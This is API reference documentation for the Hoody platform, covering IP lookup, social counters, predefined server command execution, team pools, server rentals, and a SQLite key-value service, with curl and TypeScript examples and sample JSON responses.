## Utilities

### `GET /api/v1/ip`

Retrieves information about the caller's IP address, including geolocation, network details, the `User-Agent`, the request protocol, and whether the request was logged by the platform.

This endpoint takes no parameters.

#### Example Request




```bash
curl -X GET https://api.hoody.com/api/v1/ip
```




```typescript
const response = await client.api.utilities.getIpInfo();
```




#### Example Response




```json
{
  "statusCode": 200,
  "message": "IP information retrieved successfully",
  "data": {
    "ip": "8.8.8.8",
    "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
    "headers": {
      "accept-language": "en-US,en;q=0.9"
    },
    "referer": "https://example.com",
    "timestamp": "2025-01-15T16:00:00.000Z",
    "is_logged": true,
    "protocol": "https",
    "ip_info": {
      "ip": "8.8.8.8",
      "hostname": "dns.google",
      "city": "Mountain View",
      "region": "California",
      "country": "US",
      "loc": "37.4056,-122.0775",
      "postal": "94043",
      "timezone": "America/Los_Angeles",
      "asn": {
        "asn": "AS15169",
        "name": "Google LLC",
        "domain": "google.com"
      },
      "is_anycast": true,
      "is_mobile": false,
      "is_anonymous": false,
      "is_satellite": false,
      "is_hosting": true
    }
  }
}
```




## Meta

### `GET /api/v1/meta/social-stats`

Returns cached counters for the Hoody public social channels: GitHub stars, Telegram members, Discord members (total + currently online), X followers, and LinkedIn followers. Values are persisted to disk (`auto.json`) and refreshed in the background every 10 minutes, so this endpoint is cheap to call, has no upstream rate-limit risk, and survives process restarts even when upstreams are unreachable. A field is `null` only when no value has ever been persisted for it (for example, before the first successful refresh).

This endpoint takes no parameters and requires no authentication.

#### Example Request




```bash
curl -X GET https://api.hoody.com/api/v1/meta/social-stats
```




```typescript
const response = await client.api.meta.getSocialStats();
```




#### Example Response




```json
{
  "statusCode": 200,
  "message": "Hoody social counters",
  "data": {
    "github": 1234,
    "telegram": 5678,
    "discord": 910,
    "discord_online": 42,
    "x": 837,
    "linkedin": 560,
    "fetchedAt": "2025-01-15T16:00:00.000Z"
  }
}
```




## Server Commands

### `GET /api/v1/servers/{serverId}/available-commands`

Lists the commands available for execution on a given server. Results can be filtered by `category` and by a maximum acceptable `risk_level`. The response includes a `server_info` block describing the target server.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `serverId` | path | string | Yes | Server ID to get available commands for |
| `category` | query | string | No | Filter by command category |
| `risk_level` | query | string | No | Filter by maximum risk level. Allowed values: `low`, `medium`, `high`, `critical` |

#### Example Request




```bash
curl -X GET "https://api.hoody.com/api/v1/servers/507f1f77bcf86cd799439012/available-commands?category=system&risk_level=medium"
```




```typescript
const iterator = client.api.serverCommands.listIterator({
  serverId: "507f1f77bcf86cd799439012",
  category: "system",
  risk_level: "medium"
});

for await (const page of iterator) {
  // process page.data.commands
}
```




#### Example Response




```json
{
  "statusCode": 200,
  "message": "Available commands retrieved successfully",
  "data": {
    "commands": [
      {
        "id": "507f1f77bcf86cd799439015",
        "name": "Restart Service",
        "slug": "restart-service",
        "description": "Restart a system service",
        "category": "system",
        "mode": "ssh",
        "risk_level": "medium",
        "requires_confirmation": true,
        "parameter_schema": {
          "type": "object",
          "required": ["service_name"]
        },
        "example_parameters": {
          "service_name": "nginx"
        },
        "default_timeout": 300,
        "cooldown_seconds": 600,
        "rate_limit_per_hour": 10,
        "rate_limit_per_day": 50
      }
    ],
    "server_info": {
      "id": "507f1f77bcf86cd799439012",
      "name": "node-us-east-1",
      "is_ready": true,
      "rental_status": "active"
    }
  }
}
```




### `POST /api/v1/servers/{serverId}/execute-command`

Executes a predefined command on the given server. Identify the command by `command_id` (24-character hex) or `command_slug` (lowercase, hyphenated). The request is `oneOf` — exactly one of `command_id` or `command_slug` is required. High-risk commands require a `confirmation_token`. When `wait` is `true` (the default), the request blocks until the command finishes; otherwise the API returns `202 Accepted` and the command runs in the background.


The `timeout` value cannot exceed the command's configured `max_timeout`. Requests above this cap will be rejected with `400`.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `serverId` | path | string | Yes | Server ID to execute command on |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `command_id` | string | No | Command ID to execute. Must be a 24-character hex string. Provide either `command_id` or `command_slug`. |
| `command_slug` | string | No | Command slug to execute. Must match `^[a-z0-9-]+$`. Provide either `command_id` or `command_slug`. |
| `parameters` | object | No | Parameters used to render the command template before execution. |
| `wait` | boolean | No | When `true` (default), the request blocks until the command completes. When `false`, the API responds `202 Accepted` and runs the command asynchronously. |
| `timeout` | number | No | Command timeout in seconds. Minimum `1`, maximum `7200`. Cannot exceed the command's configured `max_timeout`. |
| `confirmation_token` | string | No | Required for high-risk commands. Obtained from the confirmation step. |

#### Example Request




```bash
curl -X POST https://api.hoody.com/api/v1/servers/507f1f77bcf86cd799439012/execute-command \
  -H "Content-Type: application/json" \
  -d '{
    "command_slug": "restart-service",
    "parameters": { "service_name": "nginx" },
    "wait": true,
    "timeout": 300
  }'
```




```typescript
const response = await client.api.serverCommands.execute({
  serverId: "507f1f77bcf86cd799439012",
  data: {
    command_slug: "restart-service",
    parameters: { service_name: "nginx" },
    wait: true,
    timeout: 300
  }
});
```




#### Example Response




Returned when `wait: true` and the command completes successfully.

```json
{
  "statusCode": 200,
  "message": "Command executed successfully",
  "data": {
    "command_log_id": "507f1f77bcf86cd799439016",
    "command_id": "507f1f77bcf86cd799439015",
    "status": "completed",
    "output": "Service restarted successfully",
    "exit_code": 0,
    "execution_time": 2453,
    "start_time": "2025-01-15T16:00:00.000Z",
    "end_time": "2025-01-15T16:00:02.453Z"
  }
}
```




Returned when `wait: false`. The command is queued for background execution.

```json
{
  "statusCode": 202,
  "message": "Command accepted for execution",
  "data": {
    "command_log_id": "507f1f77bcf86cd799439016",
    "command_id": "507f1f77bcf86cd799439015",
    "status": "pending",
    "estimated_completion": "2025-01-15T16:05:00.000Z"
  }
}
```




Returned for malformed requests, missing required parameters, or `timeout` exceeding the command's `max_timeout`.

```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid command parameters",
  "data": {}
}
```




Returned when the caller is not authorized to execute the requested command on the target server (for example, missing `confirmation_token` for a high-risk command).

```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Not authorized to execute this command on server"
}
```




Returned when either the server or the referenced command cannot be found.

```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Command or server not found"
}
```




Returned when the command's per-hour or per-day rate limit has been exceeded. The response indicates when to retry and which limit was hit.

```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Rate limit exceeded for this command",
  "data": {
    "retry_after": 3600,
    "rate_limit_type": "hourly"
  }
}
```

---

# Servers

**Page:** api/servers

[Download Raw Markdown](./api/servers.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Servers API provides endpoints for browsing the rental marketplace, renting servers, managing rentals, and coordinating team access through pools. Use these endpoints to find available servers, create and manage rentals, organize servers into shared pools, and invite team members.

## Pools

Pools let teams share access to rented servers. Pool owners can invite members, assign roles, and manage which servers belong to the pool.

### `GET /api/v1/pools`

Get all pools the user owns or is a member of.

This endpoint takes no parameters.



```json
{
  "statusCode": 200,
  "message": "Pools retrieved successfully",
  "data": [
    {
      "id": "507f1f77bcf86cd799439300",
      "name": "Development Team",
      "description": "Pool for development team resources",
      "is_default": false,
      "settings": {},
      "created_at": "2025-01-15T10:00:00.000Z",
      "updated_at": "2025-01-20T14:30:00.000Z",
      "owner_id": "507f1f77bcf86cd799439011",
      "user_role": "owner",
      "member_count": 5,
      "server_count": 3
    }
  ]
}
```


```ts
const pools = await client.api.pools.listIterator();
```



### `GET /api/v1/pools/{id}`

Get detailed information about a specific pool, including members and associated servers.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Pool identifier |



```json
{
  "statusCode": 200,
  "message": "Pool retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439300",
    "name": "Development Team",
    "description": "Pool for development team resources",
    "is_default": false,
    "settings": {},
    "created_at": "2025-01-15T10:00:00.000Z",
    "updated_at": "2025-01-20T14:30:00.000Z",
    "owner_id": "507f1f77bcf86cd799439011",
    "members": [
      {
        "id": "507f1f77bcf86cd799439310",
        "role": "admin",
        "is_authorized": true,
        "joined_at": "2025-01-16T11:00:00.000Z",
        "user": {
          "id": "507f1f77bcf86cd799439012",
          "username": "jane_admin",
          "alias": "Jane Smith"
        }
      }
    ],
    "servers": [
      {
        "id": "507f1f77bcf86cd799439014",
        "name": "node-us-nyc-1",
        "rental_status": "active",
        "is_ready": true
      }
    ]
  }
}
```


```ts
const pool = await client.api.pools.get({ id: "507f1f77bcf86cd799439300" });
```



### `POST /api/v1/pools`

Create a new pool for team collaboration.

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `name` | string | Yes | Pool name (max 100 characters) |
| `description` | string | No | Pool description (max 500 characters) |
| `settings` | object | No | Arbitrary pool settings |

```json
{
  "name": "Production Team",
  "description": "Pool for production environment management",
  "settings": {
    "auto_approve": true,
    "max_servers": 20
  }
}
```



```json
{
  "statusCode": 201,
  "message": "Pool created successfully",
  "data": {
    "id": "507f1f77bcf86cd799439301",
    "name": "Production Team",
    "description": "Pool for production environment management",
    "owner_id": "507f1f77bcf86cd799439011",
    "is_default": false,
    "settings": {},
    "created_at": "2025-01-21T22:00:00.000Z"
  }
}
```


```ts
const pool = await client.api.pools.create({
  data: {
    name: "Production Team",
    description: "Pool for production environment management",
    settings: { auto_approve: true, max_servers: 20 }
  }
});
```



### `PATCH /api/v1/pools/{id}`

Update pool details. Only the pool owner may update a pool.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Pool identifier |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `description` | string | No | Updated description (max 500 characters) |
| `settings` | object | No | Updated pool settings |

```json
{
  "description": "Pool for staging and production environments",
  "settings": {
    "auto_approve": false,
    "max_servers": 15
  }
}
```



```json
{
  "statusCode": 200,
  "message": "Pool updated successfully",
  "data": {
    "success": true
  }
}
```


```ts
await client.api.pools.update({
  id: "507f1f77bcf86cd799439301",
  data: { description: "Pool for staging and production environments" }
});
```



### `DELETE /api/v1/pools/{id}`

Delete a pool. Only the owner may delete a pool, and the default pool cannot be deleted.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Pool identifier |



```json
{
  "statusCode": 200,
  "message": "Pool deleted successfully",
  "data": {
    "success": true
  }
}
```


```ts
await client.api.pools.delete({ id: "507f1f77bcf86cd799439301" });
```



## Pool Invitations

Users receive invitations to join pools. The endpoints below let users review, accept, and reject pending invitations.

### `GET /api/v1/pools/invitations/pending`

Get all pending pool invitations for the authenticated user.

This endpoint takes no parameters.



```json
{
  "statusCode": 200,
  "message": "Pending invitations retrieved successfully",
  "data": [
    {
      "id": "507f1f77bcf86cd799439312",
      "pool_id": "507f1f77bcf86cd799439300",
      "pool_name": "Development Team",
      "pool_description": "Pool for development team resources",
      "role": "user",
      "invited_by": {
        "id": "507f1f77bcf86cd799439011",
        "username": "team_lead",
        "alias": "Team Lead"
      },
      "invited_at": "2025-01-20T14:30:00.000Z"
    }
  ]
}
```


```ts
const invitations = await client.api.poolInvitations.list();
```



### `POST /api/v1/pools/{id}/accept`

Accept an invitation to join a pool.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Invitation identifier |



```json
{
  "statusCode": 200,
  "message": "Invitation accepted successfully",
  "data": {
    "success": true
  }
}
```


```ts
await client.api.poolInvitations.accept({ id: "507f1f77bcf86cd799439312" });
```



### `POST /api/v1/pools/{id}/reject`

Reject an invitation to join a pool.

### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | id path parameter |




```json
{
  "statusCode": 200,
  "message": "Invitation rejected successfully",
  "data": {
    "success": true
  }
}
```


```ts
await client.api.poolInvitations.reject({ id: "507f1f77bcf86cd799439312" });
```



## Pool Members

Pool admins and owners can invite new members, change member roles, and remove members from a pool.

### `POST /api/v1/pools/{id}/members`

Invite a user to join the pool. Requires admin or owner privileges.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Pool identifier |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `username` | string | Yes | Username of the user to invite (1-100 chars, alphanumeric, underscore, dash) |
| `role` | string | Yes | Role to assign. One of `admin`, `user` |

```json
{
  "username": "new_developer",
  "role": "user"
}
```



```json
{
  "statusCode": 201,
  "message": "Member invited successfully",
  "data": {
    "id": "507f1f77bcf86cd799439311",
    "role": "user",
    "is_authorized": false,
    "invited_at": "2025-01-21T22:15:00.000Z"
  }
}
```


```ts
await client.api.poolMembers.invite({
  id: "507f1f77bcf86cd799439300",
  data: { username: "new_developer", role: "user" }
});
```



### `PATCH /api/v1/pools/{id}/members/{userId}`

Update a member's role in the pool. Only the pool owner may change roles.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Pool identifier |
| `userId` | path | string | Yes | Member user identifier |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `role` | string | Yes | New role. One of `admin`, `user` |

```json
{
  "role": "admin"
}
```



```json
{
  "statusCode": 200,
  "message": "Member role updated successfully",
  "data": {
    "success": true
  }
}
```


```ts
await client.api.poolMembers.updateRole({
  id: "507f1f77bcf86cd799439300",
  userId: "507f1f77bcf86cd799439012",
  data: { role: "admin" }
});
```



### `DELETE /api/v1/pools/{id}/members/{userId}`

Remove a member from the pool. Requires admin or owner privileges.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Pool identifier |
| `userId` | path | string | Yes | Member user identifier |



```json
{
  "statusCode": 200,
  "message": "Member removed successfully",
  "data": {
    "success": true
  }
}
```


```ts
await client.api.poolMembers.remove({
  id: "507f1f77bcf86cd799439300",
  userId: "507f1f77bcf86cd799439012"
});
```



## Rentals

The rentals endpoints let users list active and historical rentals, retrieve rental details, and extend ongoing rentals.

### `GET /api/v1/rentals`

Get all rentals for the authenticated user.

This endpoint takes no parameters.



```json
{
  "statusCode": 200,
  "message": "Rentals retrieved successfully",
  "data": [
    {
      "id": "507f1f77bcf86cd799439320",
      "rental_start": "2025-01-21T22:00:00.000Z",
      "rental_end": "2025-01-28T22:00:00.000Z",
      "status": "active",
      "amount": "70.00",
      "remaining_days": 6,
      "server_id": "507f1f77bcf86cd799439014",
      "pool_id": "507f1f77bcf86cd799439300",
      "server": {
        "id": "507f1f77bcf86cd799439014"
      }
    }
  ]
}
```


```ts
const rentals = await client.api.rentals.listIterator();
```



### `GET /api/v1/rentals/{id}`

Get detailed information about a specific rental, including the associated server and transaction.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Rental identifier |



```json
{
  "statusCode": 200,
  "message": "Rental retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439320",
    "rental_start": "2025-01-21T22:00:00.000Z",
    "rental_end": "2025-01-28T22:00:00.000Z",
    "hold_days": 2,
    "status": "active",
    "amount": "70.00",
    "remaining_days": 6,
    "usage_days": 1,
    "server_id": "507f1f77bcf86cd799439014",
    "pool_id": "507f1f77bcf86cd799439300",
    "server": {
      "id": "507f1f77bcf86cd799439014",
      "name": "node-us-nyc-1",
      "country": "US",
      "region": "us-east",
      "city": "New York",
      "datacenter": "NYC-DC1",
      "model": "Intel Xeon E5-2680 v4",
      "is_vm": false,
      "specs": {
        "cpu": {
          "model": "AMD EPYC 7763",
          "cores": 64,
          "threads": 128,
          "score": 48500,
          "score_type": "passmark"
        },
        "ram": {
          "capacity_gb": 256,
          "type": "ECC DDR5",
          "speed_mhz": 4800
        },
        "disks": {
          "config": [
            { "count": 2, "capacity_gb": 1000, "type": "NVMe", "interface": "PCIe 4.0" },
            { "count": 6, "capacity_gb": 15000, "type": "NVMe", "interface": "PCIe 4.0" }
          ],
          "total_gb": 92000,
          "summary": "2x1TB NVMe + 6x15TB NVMe"
        },
        "network": {
          "bandwidth_mbps": 10000,
          "bandwidth_formatted": "10 Gbps",
          "traffic_tb": 100,
          "traffic_unlimited": false
        },
        "additional": {
          "ipv4_count": 5,
          "ipv6_enabled": true
        }
      }
    },
    "transaction": {
      "id": "507f1f77bcf86cd799439321",
      "amount": 70,
      "currency": "USD",
      "created_at": "2025-01-21T22:00:00.000Z"
    }
  }
}
```


```ts
const rental = await client.api.rentals.get({ id: "507f1f77bcf86cd799439320" });
```



### `POST /api/v1/rentals/{id}/extend`

Extend an existing rental for additional days. The number of days must match a supported pricing duration for the underlying server.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Rental identifier |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `additional_days` | number | Yes | Number of additional days to extend the rental (minimum 1; must match a server pricing duration) |

```json
{
  "additional_days": 7
}
```



```json
{
  "statusCode": 200,
  "message": "Rental extended successfully",
  "data": {
    "rental": {
      "id": "507f1f77bcf86cd799439320",
      "rental_end": "2025-02-04T22:00:00.000Z",
      "status": "active",
      "amount": "140.00",
      "remaining_days": 13
    },
    "transaction": {
      "id": "507f1f77bcf86cd799439322",
      "amount": 70,
      "currency": "USD"
    }
  }
}
```


```ts
await client.api.rentals.extend({
  id: "507f1f77bcf86cd799439320",
  data: { additional_days: 7 }
});
```



## Server Marketplace

Browse available servers and initiate new rentals. Servers can be rented for a specific duration and optionally assigned to a pool.

### `GET /api/v1/servers/available`

Browse the rental marketplace. Use the query parameters to filter by location, price, hardware specifications, and category.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `country` | query | string | No | Filter by country code (e.g., `US`, `DE`) |
| `region` | query | string | No | Filter by region (e.g., `us-east`, `eu-central`) |
| `max_price_per_day` | query | number | No | Maximum price per day in USD |
| `available_durations` | query | array | No | Filter servers that support these rental durations (days) |
| `min_cpu_cores` | query | number | No | Minimum CPU cores |
| `min_cpu_score` | query | number | No | Minimum CPU benchmark score |
| `cpu_score_type` | query | string | No | CPU benchmark type for score filtering. One of `passmark`, `geekbench_single`, `geekbench_multi` |
| `min_ram_gb` | query | number | No | Minimum RAM in GB |
| `ram_types` | query | array | No | Filter by RAM types |
| `min_total_storage_gb` | query | number | No | Minimum total storage in GB |
| `disk_types` | query | array | No | Filter servers with these disk types |
| `min_bandwidth_mbps` | query | number | No | Minimum network bandwidth in Mbps |
| `min_traffic_tb` | query | number | No | Minimum monthly traffic allowance in TB |
| `unlimited_traffic_only` | query | boolean | No | Show only servers with unlimited traffic |
| `category` | query | string | No | Filter by server category. One of `compute`, `memory`, `storage`, `general`, `gpu` |
| `featured_only` | query | boolean | No | Show only featured servers |



```json
{
  "statusCode": 200,
  "message": "Available servers retrieved successfully",
  "data": [
    {
      "id": "507f1f77bcf86cd799439014",
      "name": "node-us-nyc-1",
      "country": "US",
      "region": "us-east",
      "city": "New York",
      "datacenter": "NYC-DC1",
      "model": "Intel Xeon E5-2680 v4",
      "is_vm": false,
      "category": "compute",
      "featured": true,
      "popularity_rank": 1,
      "setup_time_minutes": 15,
      "pricing": {
        "prices": {},
        "price_tiers": {}
      },
      "specs": {
        "cpu": {
          "model": "AMD EPYC 7763",
          "cores": 64,
          "threads": 128,
          "score": 48500,
          "score_type": "passmark"
        },
        "ram": {
          "capacity_gb": 256,
          "type": "ECC DDR5",
          "speed_mhz": 4800
        },
        "disks": {
          "config": [
            { "count": 2, "capacity_gb": 1000, "type": "NVMe", "interface": "PCIe 4.0" },
            { "count": 6, "capacity_gb": 15000, "type": "NVMe", "interface": "PCIe 4.0" }
          ],
          "total_gb": 92000,
          "summary": "2x1TB NVMe + 6x15TB NVMe"
        },
        "network": {
          "bandwidth_mbps": 10000,
          "bandwidth_formatted": "10 Gbps",
          "traffic_tb": 100,
          "traffic_unlimited": false
        },
        "additional": {
          "ipv4_count": 5,
          "ipv6_enabled": true
        }
      }
    }
  ]
}
```


```ts
const marketplace = await client.api.serverRental.browseIterator({
  country: "US",
  max_price_per_day: 15,
  min_cpu_cores: 32
});
```



### `GET /api/v1/servers`

Alias for `GET /rentals`. Returns all rented servers for the authenticated user.

This endpoint takes no parameters.



```json
{
  "statusCode": 200,
  "message": "Rentals retrieved successfully",
  "data": [
    {
      "id": "507f1f77bcf86cd799439320",
      "rental_start": "2025-01-21T22:00:00.000Z",
      "rental_end": "2025-01-28T22:00:00.000Z",
      "status": "active",
      "amount": "70.00",
      "remaining_days": 6,
      "server_id": "507f1f77bcf86cd799439014",
      "pool_id": "507f1f77bcf86cd799439300",
      "server": {
        "id": "507f1f77bcf86cd799439014",
        "name": "node-us-nyc-1",
        "country": "US",
        "region": "us-east",
        "city": "New York",
        "datacenter": "NYC-DC1",
        "model": "Intel Xeon E5-2680 v4",
        "is_vm": false,
        "specs": {
          "cpu": {
            "model": "AMD EPYC 7763",
            "cores": 64,
            "threads": 128,
            "score": 48500,
            "score_type": "passmark"
          },
          "ram": {
            "capacity_gb": 256,
            "type": "ECC DDR5",
            "speed_mhz": 4800
          },
          "disks": {
            "config": [
              { "count": 2, "capacity_gb": 1000, "type": "NVMe", "interface": "PCIe 4.0" },
              { "count": 6, "capacity_gb": 15000, "type": "NVMe", "interface": "PCIe 4.0" }
            ],
            "total_gb": 92000,
            "summary": "2x1TB NVMe + 6x15TB NVMe"
          },
          "network": {
            "bandwidth_mbps": 10000,
            "bandwidth_formatted": "10 Gbps",
            "traffic_tb": 100,
            "traffic_unlimited": false
          },
          "additional": {
            "ipv4_count": 5,
            "ipv6_enabled": true
          }
        }
      }
    }
  ]
}
```


```ts
const servers = await client.api.serverRental.listIterator();
```



### `GET /api/v1/servers/{id}`

Alias for `GET /rentals/{id}`. Returns detailed information about a specific rented server.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Server rental identifier |



```json
{
  "statusCode": 200,
  "message": "Rental details retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439320",
    "rental_start": "2025-01-21T22:00:00.000Z",
    "rental_end": "2025-01-28T22:00:00.000Z",
    "hold_days": 2,
    "status": "active",
    "amount": "70.00",
    "remaining_days": 6,
    "usage_days": 1,
    "server_id": "507f1f77bcf86cd799439014",
    "pool_id": "507f1f77bcf86cd799439300",
    "server": {
      "id": "507f1f77bcf86cd799439014",
      "name": "node-us-nyc-1",
      "country": "US",
      "region": "us-east",
      "city": "New York",
      "datacenter": "NYC-DC1",
      "model": "Intel Xeon E5-2680 v4",
      "is_vm": false,
      "specs": {
        "cpu": {
          "model": "AMD EPYC 7763",
          "cores": 64,
          "threads": 128,
          "score": 48500,
          "score_type": "passmark"
        },
        "ram": {
          "capacity_gb": 256,
          "type": "ECC DDR5",
          "speed_mhz": 4800
        },
        "disks": {
          "config": [
            { "count": 2, "capacity_gb": 1000, "type": "NVMe", "interface": "PCIe 4.0" },
            { "count": 6, "capacity_gb": 15000, "type": "NVMe", "interface": "PCIe 4.0" }
          ],
          "total_gb": 92000,
          "summary": "2x1TB NVMe + 6x15TB NVMe"
        },
        "network": {
          "bandwidth_mbps": 10000,
          "bandwidth_formatted": "10 Gbps",
          "traffic_tb": 100,
          "traffic_unlimited": false
        },
        "additional": {
          "ipv4_count": 5,
          "ipv6_enabled": true
        }
      }
    },
    "transaction": {
      "id": "507f1f77bcf86cd799439321",
      "amount": 70,
      "currency": "USD",
      "created_at": "2025-01-21T22:00:00.000Z"
    }
  }
}
```


```ts
const server = await client.api.serverRental.get({ id: "507f1f77bcf86cd799439320" });
```



### `POST /api/v1/servers/{id}/rent`

Rent an available server for a specified duration. The `rental_days` value must match a pricing duration supported by the server. Optionally, the rental can be assigned to one of the user's pools.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Server identifier |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `pool_id` | string | No | Optional pool to assign the rental to (24-character hex ID) |
| `rental_days` | number | Yes | Number of days to rent (minimum 1; must match a server pricing duration) |

```json
{
  "rental_days": 7,
  "pool_id": "507f1f77bcf86cd799439300"
}
```



```json
{
  "statusCode": 201,
  "message": "Server rented successfully",
  "data": {
    "rental": {
      "id": "507f1f77bcf86cd799439320",
      "server_id": "507f1f77bcf86cd799439014",
      "rental_start": "2025-01-21T22:00:00.000Z",
      "rental_end": "2025-01-28T22:00:00.000Z",
      "hold_days": 2,
      "actual_usage_days": 0,
      "status": "active"
    },
    "transaction": {
      "id": "507f1f77bcf86cd799439321",
      "amount": 70,
      "currency": "USD"
    }
  }
}
```


```ts
const result = await client.api.serverRental.rent({
  id: "507f1f77bcf86cd799439014",
  data: { rental_days: 7, pool_id: "507f1f77bcf86cd799439300" }
});
```

---

# Hoody SQLite

**Page:** api/sqlite/index

[Download Raw Markdown](./api/sqlite/index.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Hoody SQLite service provides a unified data layer that combines a fully featured SQL engine with a key-value store, both backed by the same hardened SQLite runtime. Use these endpoints to execute SQL transactions, manage KV data, and observe service health.

## Available sub-pages



  Execute SQL transactions, create databases, and run queries against the SQLite engine.

  [Open SQL Operations →](/api/sqlite/sql-operations/)


  Overview of the KV Store and key listing capabilities.

  [Open Key-Value Store →](/api/sqlite/kv-store/)


  Get, set, delete, increment, and decrement values stored in the KV store.

  [Open KV Basic Operations →](/api/sqlite/kv-basic/)


  Batch get, set, and delete multiple keys in a single request.

  [Open KV Batch Operations →](/api/sqlite/kv-batch/)


  Push, pop, and remove array elements atomically inside the KV store.

  [Open KV Atomic Operations →](/api/sqlite/kv-atomic/)


  Snapshots, diffs, and rollbacks for the KV store.

  [Open KV Time-Travel &amp; History →](/api/sqlite/kv-time-travel/)



## Health

Health endpoints expose liveness and observability signals for the SQLite service. The main health endpoint returns service identity, process-level resource counters, and hardening snapshots in a single response. The dedicated cache endpoint exposes only the cache sub-object for dashboards that need to poll cache pressure without re-reading process-level memory or file descriptors.

### `GET /api/v1/sqlite/health`

Health check endpoint. One scrape covers both liveness and Phase G observability signals.

This endpoint takes no parameters.



```bash
curl -X GET "https://api.hoody.com/api/v1/sqlite/health" \
  -H "Authorization: Bearer <token>"
```


```ts
const result = await client.sqlite.health.getHealth();
```


```json
{
  "status": "ok",
  "service": "sqlite",
  "built": "2026-01-15T10:00:00Z",
  "started": "2026-01-20T12:34:56Z",
  "pid": 14253,
  "memory": {
    "rss_bytes": 134217728,
    "heap_used_bytes": 98566144,
    "heap_total_bytes": 125829120
  },
  "fds": {
    "open": 41,
    "limit": 65536
  },
  "cache": {
    "size_bytes": 67108864,
    "capacity_bytes": 268435456,
    "entries": 8421,
    "hit_ratio": 0.9732
  },
  "counters": {
    "requests_total": 1584231,
    "errors_total": 27,
    "kv_ops_total": 912488
  }
}
```



### `GET /api/v1/sqlite/health/cache`

Returns only the cache sub-object from `/health`. Designed for dashboards that poll cache pressure without re-reading process-level memory or file descriptors.

This endpoint takes no parameters.



```bash
curl -X GET "https://api.hoody.com/api/v1/sqlite/health/cache" \
  -H "Authorization: Bearer <token>"
```


```ts
const result = await client.sqlite.health.getHealthCache();
```


```json
{
  "size_bytes": 67108864,
  "capacity_bytes": 268435456,
  "entries": 8421,
  "hit_ratio": 0.9732,
  "evictions_total": 1284,
  "last_evicted_at": "2026-01-20T12:31:02Z"
}
```

---

# KV Store: Atomic Operations

**Page:** api/sqlite/kv-atomic

[Download Raw Markdown](./api/sqlite/kv-atomic.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The KV Store atomic array operations let you manipulate JSON array values stored in the KV store without race conditions. Use these endpoints to append elements, remove elements by index or value, or pop the last element from an array. All operations support JSON paths for targeting nested arrays inside a stored object, and optionally write to history for audit and rollback workflows.

## Push to array

### `POST /api/v1/sqlite/kv/{key}/push`

Append a value to an array stored at `key`. If the key holds an object, use the `path` parameter to target a nested array.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `key` | path | string | Yes | Key name |
| `db` | query | string | Yes | Database file path |
| `table` | query | string | No | Custom table name. Default: `kv_store` |
| `path` | query | string | No | JSON path to nested array |
| `history` | query | boolean | No | Enable history tracking. Default: `true` |

### Request Body

A value to append to the array.

```json
{
  "event": "user_signup",
  "userId": "u_8f2a1b",
  "timestamp": "2026-01-15T10:30:00Z"
}
```

### Response



Value appended successfully.

```json
{
  "success": true,
  "key": "events",
  "newLength": 42
}
```


Invalid request or not an array.

```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Value at key 'events' is not an array"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / ./name shorthand (resolved to /hoody/databases/*.db) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a .db file but got a directory (use table parameter for directory mode) | Use a .db file path or add table parameter for directory mode KV store |


Internal server error.

```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Database write failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
